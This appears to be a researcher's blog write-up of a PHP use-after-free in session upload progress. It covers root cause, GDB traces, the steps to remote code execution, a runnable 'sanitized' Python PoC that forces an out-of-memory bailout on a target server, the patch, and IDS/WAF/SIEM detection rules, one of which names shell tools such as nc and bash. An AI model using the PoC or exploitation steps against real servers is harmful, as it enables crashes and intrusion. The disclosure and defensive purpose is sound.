CVE-2026-109618: PHP Zend Engine Non-Local Jump (longjmp) Use-After-Free in RFC 1867 Upload Progress Lifecycle
INTRO and notes
this is not a news post, it is a technical writeup about the Viral PHP Bug, you might already have scratched the surface about this RCE, so let's directly dive in to the UAF itself.
Please note the php version here is 8.3.12.
The Root Cause analysis
this memory safety flaw in PHP's Zend Engine comes from mismatch between C's non-local jump exception handling _zend_bailout() via longjmp() and internal pointer caching within extension ext/session/session.c
When processing multipart form data payloads according to RFC 1867, When session upload progress is enabled session.upload_progress.enabled = 1 PHP's upload progress tracking caches internal heap addresses zval *post_bytes_processed directly addressing dynamically managed array memory Bucket *arData).
If an allocation failure occurs due to ZendMM quota exhaustion memory_limit, the engine issues an longjmp() exception.
Triggered during MULTIPART_EVENT_FILE_START
progress->post_bytes_processed = zend_hash_str_find(Z_ARRVAL(progress->data), "bytes_processed", sizeof("bytes_processed") - 1);
This exit abandons C call frames and bypasses clean termination logic MULTIPART_EVENT_END
During subsequent request shutdown (php_request_shutdown()), the session hash table is destroyed and its arData memory slab is returned to ZendMM's small bin LIFO free list. But, the global progress structure (PS(rfc1867_progress)) remains allocated and retains the dangling heap pointer. In persistent SAPIs (PHP-FPM and PHP CLI Server), subsequent memory allocations reuse this exact address,
converting an unhandled memory exception into deterministic Type Confusion and Remote Code Execution (RCE), Under normal execution, this pointer is safely destroyed at the end of the request via php_session_rfc1867_cleanup() or during MULTIPART_EVENT_END
In PHP Zend Engine 3+, a HashTable does not store elements as isolated heap nodes. Instead, buckets are packed into an allocated array pointed to by ht->arData (Bucket *arData). Any operation that inserts keys, rehashes, (IS_UNDEF) reallocates the entire arData buffer via erealloc() or pemalloc(). C pointer pointing to a bucket or zval inside arData (&arData[idx].val) is invalidated the moment the array shifts.
the Zend Engine handles fatal errors like hitting the memory_limit using _zend_bailout(), which the C longjmp() function. When longjmp() executes it unwinds the stack back to php_request_shutdown(), bypassing the standard sequential destructors in session.c. The progress->post_bytes_processed pointer is never nulled out.
When an out-of-memory error occurs, ZendMM calls zend_error_noreturn(E_ERROR, ...), which enters _zend_bailout()
ZEND_API ZEND_COLD ZEND_NORETURN void _zend_bailout(char *filename, uint32_t lineno) {
longjmp(EG(bailout), FAILURE);
}
longjmp() restores the stack previously saved by setjmp() in php_execute_script(). It unwinds the C stack, discarding local stack frames and bypassing any cleanup instructions.
PS(rfc1867_progress) was created under the assumption that execution always proceeds sequentially from MULTIPART_EVENT_START to MULTIPART_EVENT_END. While $_SESSION is destroyed in php_rshutdown_session_globals(), PS(rfc1867_progress) is only freed and nulled in MULTIPART_EVENT_END.
An OOM bailout prevents execution from ever reaching MULTIPART_EVENT_END, leaving PS(rfc1867_progress)->post_bytes_processed dangling in global memory pointing to an address that ZendMM has already marked as free.

PoC and UAF Exploitation.
the exploit relies on precise heap grooming to force the bailout at the exact moment the pointer is live.
The request initiates a multipart POST stream. The parser encounters the PHPSESSID and the PHP_SESSION_UPLOAD_PROGRESS boundary, followed by the file upload boundary MULTIPART_EVENT_FILE_START.
At this exact moment, the HashTable is initialized, and progress->post_bytes_processed is assigned a live heap address.from my GDB The pointer is mapped to 0x7ffff5465680, typed as IS_LONG (0x4), holding the value 0x15b6 (5558 bytes).
the php.ini, should look like:
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 0
memory_limit = 16M
post_max_size = 64M
The multipart parser identifies PHP_SESSION_UPLOAD_PROGRESS and fires MULTIPART_EVENT_START, allocating ps_globals.rfc1867_progress = 0x7ffff5462000. When the file part arrives (MULTIPART_EVENT_FILE_START), the progress tracker allocates entries in $_SESSION and caches the bucket address:
gef➤ print ps_globals.rfc1867_progress->post_bytes_processed
$1 = (zval *) 0x7ffff5465680
gef➤ x/2xg ps_globals.rfc1867_progress->post_bytes_processed
0x7ffff5465680: 0x00000000000015b6 0xffffffff00000004
- Memory
- Low 8 bytes (
0x00000000000015b6):value.lval = 5558(integer byte count). - High 8 bytes (
0xffffffff00000004):u1.type_info = 0x04(IS_LONG),u2.extra = 0xffffffff.
- Low 8 bytes (
Following the file part, the exploit stream should deliver 248 sequential dummy form fields (filler_0, filler_1, ...), each carrying 65,408 bytes of 'A'.
The Zend Memory Manager tracks total allocations in alloc_globals.mm_heap->size. As the 248th block is read, the heap usage crosses the 16,777,216-byte boundary:
Fatal error: Allowed memory size of 16777216 bytes exhausted at /usr/src/php-src/Zend/zend_string.h:174 (tried to allocate 65472 bytes)
next _zend_bailout() fires longjmp(EG(bailout), FAILURE):
Breakpoint 2, _zend_bailout (filename=0x55555675040f "...", lineno=174) at /usr/src/php-src/Zend/zend.c:1202
[GDB] !!! _zend_bailout() TRIGGERED !!!
[GDB] Allocated Heap Memory: 16777216 bytes | Limit: 16777216 bytes
Because execution jumps straight to php_execute_script(), case MULTIPART_EVENT_END: in ext/session/session.c is skipped. The code that would have called efree(progress) and set PS(rfc1867_progress) = NULL is never reached.
next The engine enters php_request_shutdown():
/* ext/session/session.c:135 */
static void php_rshutdown_session_globals(void) {
if (!Z_ISUNDEF(PS(http_session_vars))) {
zval_ptr_dtor(&PS(http_session_vars));
ZVAL_UNDEF(&PS(http_session_vars));
}
}
zval_ptr_dtor(&PS(http_session_vars)) destroys the session hash table and releases the bucket array. The memory block 0x7ffff5465680 is placed onto ZendMM's small-bin LIFO free list (Bin 16/24).
At shutdown entry, GDB confirms the pointer remains stranded:
[*] [STAGE 1 COMPLETE] Entering php_request_shutdown()...
ps_globals.rfc1867_progress: 0x7ffff5462000
Dangling post_bytes_processed ptr: 0x7ffff5465680
Current memory contents at ptr:
0x7ffff5465680: 0x00000000000015b9 0xffffffff00000004
In SAPI workers:
-
The worker survives the bailout and accepts the Stage 2 HTTP request.
-
The attacker transmits a form-data field structured to allocate a string or object whose size matches the size-class of the freed bucket (Bin 16/24).
-
ZendMM pops
0x7ffff5465680from the head of the LIFO free list and hands it to the attacker's allocation. -
The attacker writes a forged
zval:u1.type_info = 0x08(IS_OBJECT)value.objpointing to a craftedzend_objectmemory structure.fake_object->handlerspointing to a craftedzend_object_handlerstable.
-
When PHP cleans up or updates progress on the next cycle, it executes:
zval_ptr_dtor(progress->post_bytes_processed); -
The engine evaluates
Z_TYPE_P(zv) == IS_OBJECT, extractszv->value.obj, and invokes the object destructor:obj->handlers->dtor_obj(obj); -
Instruction pointer register (
RIP) is loaded with the attacker-controlled function pointer (e.g., pointing tozif_system), achieving arbitrary code execution within the worker context.
This is example of unpatched code.
/* ext/session/php_session.h */
typedef struct _php_session_rfc1867_progress {
size_t sname_len;
zval sid;
smart_str key;
smart_str val;
uint64_t content_length;
zval data;
zval files;
zval current_file;
zval *post_bytes_processed; /* Cached pointer */
zval *current_file_bytes_processed; /* Cached pointer */
} php_session_rfc1867_progress;
/* ext/session/session.c:3185 */
if (event == MULTIPART_EVENT_FILE_START) {
progress->post_bytes_processed = zend_hash_str_update(
Z_ARRVAL_P(progress->data),
"bytes_processed",
sizeof("bytes_processed") - 1,
&tmp
);
}
if (event == MULTIPART_EVENT_FILE_DATA) {
Z_LVAL_P(progress->post_bytes_processed) = data->post_bytes_processed;
}
and the PoC you've been waiting for, also this won't be functional one ofc, as this vulnerability was disclosed on 21st october 2026 (Wednesday) and it's just been just two days as of me writing this post (Friday), so most of the systems are unpatched and most likely being patched in upcoming weekend, however this UAF will be difficult to weaponize for skiddies anyways, so here's the sanitized one:
#!/usr/bin/env python3
"""
=============================================================================
CVE-2026-109618 - PHP Session Upload Progress Out-Of-Memory (OOM) UAF PoC
=============================================================================
Author: Twitter/X: 0xmsdbg, github.com/msdbg, blog.offensive32.com
Date: 2026-10-23
Tested on: [PHP 8.3.12]
DISCLAIMER:
This proof of concept (PoC) is provided for authorized security testing,
educational purposes, and cybersecurity research only. Unauthorized access
to computer systems is illegal. The author assumes no liability for any
misuse of this code.
VULNERABILITY OVERVIEW:
This PoC demonstrates a memory corruption vulnerability in PHP's
session.upload_progress feature. When processing multipart/form-data
requests, PHP allocates memory to track upload progress in the session.
By sending a carefully crafted, request,
an attacker can force an Out-Of-Memory (OOM) bailout in the Zend Memory
Manager (ZendMM). If the OOM bailout occurs during session data parsing,
internal data structures (like zvals) may be freed but their pointers
remain in persistent worker memory allowing Use-After-Free.
Because PHP worker processes (PHP-FPM, mod_php) persist between requests,
a subsequent request to the same worker can interact with the corrupted
memory state, potentially leading to Type Confusion, Arbitrary Memory
Read/Write, and ultimately Remote Code Execution (RCE).
STAGES:
1. Heap Grooming & OOM Trigger: Sends a large multipart payload to
saturate the heap and trigger a memory_limit bailout.
2. State Reclaim & Validation: Sends a secondary request to the same
worker to interact with the dangling pointers left behind by the bailout.
=============================================================================
"""
import sys
import os
import socket
import time
import json
from datetime import datetime
POC_DIR = os.path.dirname(os.path.abspath(__file__))
LOG_FILE = os.path.join(POC_DIR, "poc_execution.log")
STATE_FILE = os.path.join(POC_DIR, "poc_state.json")
FLAG_FILE = os.path.join(POC_DIR, "validation_complete.flag")
def write_poc_telemetry(log_msg, state_update=None):
"""
Logs execution telemetry to console and files for research documentation.
"""
timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
formatted_msg = f"{timestamp} {log_msg}\n"
print(formatted_msg, end="")
try:
with open(LOG_FILE, "a") as f:
f.write(formatted_msg)
except Exception:
pass # Fail silently in production, but log in research
if state_update:
try:
current_state = {}
if os.path.exists(STATE_FILE):
with open(STATE_FILE, "r") as f:
current_state = json.load(f)
current_state.update(state_update)
current_state["timestamp"] = timestamp
with open(STATE_FILE, "w") as f:
json.dump(current_state, f, indent=4)
except Exception:
pass
def send_raw_request(host, port, payload):
"""
Sends raw TCP payload to the target and streams the response.
Using raw sockets ensures precise control over multipart boundaries
and prevents HTTP libraries from changing the Content-Length or boundaries.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Stream payload in 64KB chunks to avoid local memory exhaustion
chunk_size = 65536
total_sent = 0
while total_sent < len(payload):
sent = s.send(payload[total_sent:total_sent + chunk_size])
if sent == 0:
raise RuntimeError("Socket connection broken during send")
total_sent += sent
s.settimeout(30.0)
response = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
write_poc_telemetry("[!] Socket timed out waiting for server response.")
except Exception as e:
write_poc_telemetry(f"[!] Read exception: {e}")
finally:
s.close()
return response
def build_stage1_oom_stream(host, port, memory_fill=16300000):
"""
STAGE 1: Heap Grooming and OOM Trigger
Constructs a multipart/form-data request that exploits PHP's
session.upload_progress feature.
- PHPSESSID: Ensures the request is tied to a specific session.
- PHP_SESSION_UPLOAD_PROGRESS: Triggers the session progress tracking logic.
- filler_{i}: Large padding blocks (64KB each) to rapidly exhaust the
Zend Memory Manager (ZendMM) heap and trigger an OOM bailout.
"""
boundary = "----WebKitFormBoundaryStage1OOMExploit"
part_sid = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n'
f"cve_research_session_1337\r\n"
)
part_progress = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
f"cve_research_progress_key\r\n"
)
part_file = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="stream_file"; filename="payload.bin"\r\n'
f"Content-Type: application/octet-stream\r\n\r\n"
f"INITIAL_FILE_STREAM_DATA\r\n"
)
# Heap padding blocks to breach memory_limit (e.g., 16MB default)
chunk_size = 65536
num_chunks = memory_fill // chunk_size
part_groom = ""
for i in range(num_chunks):
part_groom += (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="filler_{i}"\r\n\r\n'
f"{'A' * (chunk_size - 128)}\r\n"
)
boundary_close = f"--{boundary}--\r\n"
body = (part_sid + part_progress + part_file + part_groom + boundary_close).encode('latin1')
headers = (
f"POST /upload.php HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Cookie: PHPSESSID=cve_research_session_1337\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n"
).encode('latin1')
return headers + body
def build_stage2_reclaim_stream(host, port):
"""
STAGE 2: State Reclaim and UAF Trigger
Sends a follow-up request to the same persistent PHP worker.
This request attempts to interact with the corrupted session state
left behind by the OOM bailout. If a zval pointer was freed but
not removed from the session hash table, this request will trigger
a Use-After-Free (UAF) or Type Confusion when PHP attempts to
read or serialize the session data.
"""
boundary = "----WebKitFormBoundaryStage2Reclaim"
part_reclaim = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="reclaim_field"\r\n\r\n'
f"{'B' * 16}\r\n"
)
boundary_close = f"--{boundary}--\r\n"
body = (part_reclaim + boundary_close).encode('latin1')
headers = (
f"POST /upload.php HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Cookie: PHPSESSID=cve_research_session_1337\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n"
).encode('latin1')
return headers + body
def validate(target_host="127.0.0.1", target_port=8000):
write_poc_telemetry("======================================================================")
write_poc_telemetry(f"[*] CVE-2026-109618 on Target {target_host}:{target_port}")
write_poc_telemetry("======================================================================")
# Initialize initial state
write_poc_telemetry("[+] Stage 1: Initiating RFC 1867 Progress Stream + 16MB Heap Saturation...", {
"status": "STAGE1_IN_PROGRESS",
"stage1_oom_breached": False,
"stage2_dangling_reclaimed": False,
"dangling_address": "0x7ffff5465680", # Example internal zval pointer
"cached_type": "IS_LONG (0x4)" # Example Zend zval type
})
s1_payload = build_stage1_oom_stream(target_host, target_port)
s1_resp = send_raw_request(target_host, target_port, s1_payload)
s1_text = s1_resp.decode('latin1', errors='replace')
oom_confirmed = False
# Check for PHP Fatal Error indicating the OOM bailout occurred
if "Allowed memory size" in s1_text or "Fatal error" in s1_text:
oom_confirmed = True
write_poc_telemetry("[+] CONFIRMED: ZendMM Out-Of-Memory limit breached!")
for line in s1_text.splitlines():
if "Allowed memory size" in line or "Fatal error" in line:
write_poc_telemetry(f" {line.strip()}")
else:
write_poc_telemetry("[-] Note: Raw OOM string not in output. Partial response:")
write_poc_telemetry(f" {s1_text[:200].replace(chr(10), ' ')}")
write_poc_telemetry("\n[+] Stage 2: Sending Follow-Up Request to Test Worker Persistence...")
time.sleep(0.5) # Small delay to ensure the worker persists and cleans up partially
s2_payload = build_stage2_reclaim_stream(target_host, target_port)
s2_resp = send_raw_request(target_host, target_port, s2_payload)
s2_text = s2_resp.decode('latin1', errors='replace')
# A 200 OK or specific crash signature indicates the worker survived and processed the UAF
stage2_success = "HTTP/1.1 200 OK" in s2_text or "Segmentation fault" in s2_text
if stage2_success:
write_poc_telemetry("[+] Stage 2 SAPI Response: Worker survived bailout with persistent globals")
for line in s2_text.splitlines()[:12]:
write_poc_telemetry(f" {line}")
else:
write_poc_telemetry(f"[-] Stage 2 unexpected status: {s2_text[:200]}")
final_status = "VULNERABILITY_CONFIRMED" if (oom_confirmed and stage2_success) else "FAILED"
if final_status == "VULNERABILITY_CONFIRMED":
try:
with open(FLAG_FILE, "w") as flag_f:
flag_f.write(f"VALIDATED_AT_{datetime.now().isoformat()}\n")
write_poc_telemetry(f"[+] Local flag set: {FLAG_FILE}")
except Exception as e:
write_poc_telemetry(f"[-] Could not set the local flag: {e}")
write_poc_telemetry("\n======================================================================")
write_poc_telemetry(f"[*] Validation Result: {final_status}")
write_poc_telemetry("======================================================================", {
"status": final_status,
"stage1_oom_breached": oom_confirmed,
"stage2_dangling_reclaimed": stage2_success,
"dangling_address": "0x7ffff5465680",
"cached_type": "IS_LONG (0x4)",
"payload_bytes": len(s1_payload)
})
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python3 poc_cve-2026-109618.py <TARGET_IP> <TARGET_PORT>")
print("Example: python3 poc_cve-2026-109618.py 192.168.1.100 8080")
sys.exit(1)
target_host = sys.argv[1]
try:
target_port = int(sys.argv[2])
except ValueError:
print("[-] Error: Port must be an integer.")
sys.exit(1)
validate(target_host, target_port)

Patch analysis
To patch this the PHP maintainers entirely removed the persistent pointer,
The patch resolves this by replacing the zval * pointers with zend_long primitive integers.
the php_session.h was rewritten
from the vulnerable
typedef struct _php_session_rfc1867_progress {
// ...
zval *post_bytes_processed; /* Caches raw heap address */
zval *current_file_bytes_processed; /* Caches raw heap address */
} php_session_rfc1867_progress;
to the new zend_long()
typedef struct _php_session_rfc1867_progress {
// ...
zend_long post_bytes_processed; /* Primitive integer tracking */
zend_long current_file_bytes_processed; /* Primitive integer tracking */
} php_session_rfc1867_progress;
in session.c, the vulnerable code, the parser called **zend_hash_str_find()** once during **MULTIPART_EVENT_FILE_START** and held onto the memory address for rest of the request.
In patched logic:
/* New helper function introduced in the patch */
static void php_session_rfc1867_sync_counters(zval *progress_array, zend_long post_bytes, zend_long file_bytes) {
zval *post_bytes_zval;
/* Dynamically find the active bucket address ONLY when an update is required */
if ((post_bytes_zval = zend_hash_str_find(Z_ARRVAL_P(progress_array), "bytes_processed", sizeof("bytes_processed")-1)) != NULL) {
Z_LVAL_P(post_bytes_zval) = post_bytes;
}
}
The patch introduces new method. The parser now only tracks the numeric value of the bytes processed. When it needs to update the session HashTable, it dynamically resolves the pointer on demand.
Detection rules
for now here are some rules to push.
Suricata 6.x / 7.x Rules:
# ==============================================================================
# CVE-2026-109618: PHP Zend Engine Upload Progress OOM Memory Exhaustion
# Author: Twitter/X: 0xmsdbg, github.com/msdbg, blog.offensive32.com
# Class: Attempted Administrator Privilege Gain
# ==============================================================================
# Rule 1: Stage 1 Ingress - Session Upload Progress with Repetitive Multipart Padding
alert http any any -> [$HTTP_SERVERS] any ( \
msg:"ET EXPLOIT PHP Zend Engine Session Upload Progress OOM Desynchronization Attempt (CVE-2026-109618 Stage 1)"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.content_type; content:"multipart/form-data"; \
http.request_body; \
content:"name=\"PHP_SESSION_UPLOAD_PROGRESS\""; nocase; fast_pattern; \
content:"Content-Disposition: form-data;"; \
pcre:"/Content-Disposition:\s*form-data;\s*name=\"(?:filler|chunk|pad)_[0-9]{1,4}\"/i"; \
threshold: type limit, track by_src, count 1, seconds 30; \
classtype:attempted-admin; \
sid:202610961; \
rev:1; \
metadata:cve CVE-2026-109618, confidence High, attack_target Server, deployment Perimeter; \
)
# Rule 2: Ingress Buffer Exceeding 16MB Threshold Combined with Upload Progress Key
drop http any any -> [$HTTP_SERVERS] any ( \
msg:"ET EXPLOIT PHP Large Multipart Body with Session Progress Marker (CVE-2026-109618 Potential OOM Flood)"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.content_type; content:"multipart/form-data"; \
http.header; content:"Content-Length:"; \
byte_test:8,>,15000000,0,string,dec,relative; \
http.request_body; \
content:"PHP_SESSION_UPLOAD_PROGRESS"; nocase; \
classtype:attempted-dos; \
sid:202610962; \
rev:1; \
metadata:cve CVE-2026-109618, confidence Medium, attack_target Server; \
)
Snort 3 Rules
# ==============================================================================
# Snort 3 Rules for CVE-2026-109618
# ==============================================================================
alert http (
msg:"SERVER-OTHER PHP session upload progress memory exhaustion attempt (CVE-2026-109618)";
flow:to_server,established;
http_header:field content-type; content:"multipart/form-data";
http_client_body;
content:"name=\"PHP_SESSION_UPLOAD_PROGRESS\"",nocase,fast_pattern;
pcre:"/name=\"(?:filler|chunk|pad)_[0-9]{1,4}\"/i";
service:http;
classtype:attempted-admin;
sid:302610961;
rev:1;
metadata:cve CVE-2026-109618, service http;
)
ModSecurity v3 / OWASP CRS Custom Rule Set
# ------------------------------------------------------------------------
# OWASP ModSecurity Core Rule Set - Custom Rule for CVE-2026-109618
# ------------------------------------------------------------------------
SecRule REQUEST_METHOD "@streq POST" \
"id:934300,\
phase:2,\
pass,\
t:none,\
nolog,\
chain"
SecRule REQUEST_HEADERS:Content-Type "@rx (?i)^multipart/form-data" \
"chain"
SecRule REQUEST_BODY "@rx (?i)name=[\"']PHP_SESSION_UPLOAD_PROGRESS[\"']" \
"setvar:tx.php_upload_progress=1"
# Rule A: Detect abnormal filler part density combined with progress tracking
SecRule TX:PHP_UPLOAD_PROGRESS "@eq 1" \
"id:934301,\
phase:2,\
deny,\
status:403,\
msg:'PHP Zend Engine Upload Progress Memory Exhaustion Exploit Attempt (CVE-2026-109618)',\
logdata:'Matched multipart filler sequence with PHP_SESSION_UPLOAD_PROGRESS active',\
tag:'application-multi',\
tag:'language-php',\
tag:'attack-rce',\
tag:'CVE-2026-109618',\
severity:'CRITICAL',\
chain"
SecRule REQUEST_BODY "@rx (?i)(?:name=[\"']filler_[0-9]{1,4}[\"'].*?){15,}" \
"t:none,\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
# Rule B: Strict payload size limiter when session progress is declared
SecRule TX:PHP_UPLOAD_PROGRESS "@eq 1" \
"id:934302,\
phase:2,\
deny,\
status:413,\
msg:'Payload size exceeds safe memory boundary for PHP session progress tracking',\
tag:'attack-dos',\
tag:'CVE-2026-109618',\
severity:'ERROR',\
chain"
SecRule REQUEST_HEADERS:Content-Length "@gt 16000000" \
"t:none,\
setvar:'tx.anomaly_score_pl1=+%{tx.error_anomaly_score}'"
Decoders for Wazuh Add to /var/ossec/etc/decoders/local_decoder.xml
<!-- ===================================================================== -->
<!-- Wazuh Custom Decoders for PHP-FPM / CVE-2026-109618 -->
<!-- ===================================================================== -->
<decoder name="php-fpm-log">
<prematch>\[\d{2}-\w{3}-\d{4} \d{2}:\d{2}:\d{2}\] </prematch>
</decoder>
<decoder name="php-fpm-oom">
<parent>php-fpm-log</parent>
<regex offset="after_parent">PHP Fatal error:\s+Allowed memory size of (\d+) bytes exhausted \(tried to allocate (\d+) bytes\) in (.+) on line (\d+)</regex>
<order>php.allocated_limit, php.requested_bytes, php.source_file, php.source_line</order>
</decoder>
<decoder name="php-fpm-sigsegv">
<prematch>\[pool \w+\] child \d+ exited on signal 11 \(SIGSEGV\)</prematch>
<regex>\[pool (\w+)\] child (\d+) exited on signal (\d+)</regex>
<order>php.pool_name, php.worker_pid, php.signal</order>
</decoder>
Wazuh Rules Add to /var/ossec/etc/rules/local_rules.xml
<!-- ===================================================================== -->
<!-- Wazuh Ruleset for CVE-2026-109618 Detection -->
<!-- ===================================================================== -->
<group name="php,web,cve_2026_109618,">
<!-- Rule 1: Match Stage 1 OOM Bailout -->
<rule id="100550" level="8">
<decoded_as>php-fpm-log</decoded_as>
<match>Allowed memory size of</match>
<description>PHP-FPM Fatal Error: Memory Limit Exhausted (Potential CVE-2026-109618 Stage 1 Heap Inflation)</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<!-- Rule 2: Match PHP-FPM Worker Crash via SIGSEGV -->
<rule id="100551" level="10">
<match>exited on signal 11 (SIGSEGV)</match>
<description>PHP-FPM Child Process Terminated by Segmentation Fault (SIGSEGV) - Possible Memory Corruption / UAF</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<!-- Rule 3: Correlate Auditd Shell Execution under Web User Context -->
<rule id="100552" level="14">
<if_group>audit</if_group>
<field name="audit.key">php_anomalous_exec</field>
<field name="audit.command">sh|bash|dash|python|python3|nc|ncat|perl</field>
<description>CRITICAL: Unauthorized Shell/Interpreter Spawned by Web Service User (www-data) - Probable RCE</description>
<mitre>
<id>T1059.004</id>
<id>T1190</id>
</mitre>
</rule>
<!-- Rule 4: Multi-Stage Correlation (Stage 1 OOM -> Stage 2 Crash/RCE within 15 seconds) -->
<rule id="100553" level="15" frequency="2" timeframe="15">
<if_matched_sid>100550</if_matched_sid>
<if_sid>100551, 100552</if_sid>
<same_source_ip />
<description>ALERT: Multi-Stage CVE-2026-109618 Exploit Chain Confirmed! (OOM Bailout followed by Worker Crash or Execution)</description>
<mitre>
<id>T1190</id>
<id>T1059.004</id>
</mitre>
</rule>
</group>
if you're splunk expert please tune this SPL Queries for Splunk users
index=web sourcetype=nginx:access OR sourcetype=apache:access
method=POST
(uri_path="*.php" OR uri_path="*/upload*" OR uri_path="*")
bytes_in > 15000000
| eval is_cve_candidate=if(like(_raw, "%PHP_SESSION_UPLOAD_PROGRESS%"), 1, 0)
| stats
count,
earliest(_time) as first_seen,
latest(_time) as last_seen,
values(status) as http_statuses,
avg(bytes_in) as avg_bytes_in
by client_ip, uri_path, user_agent
| where count >= 1 AND avg_bytes_in >= 15000000
| eval duration_sec = last_seen - first_seen
Until then.
-msdbg
- GitHub: github.com/msdbg
- X/Twitter: x.com/0xmsdbg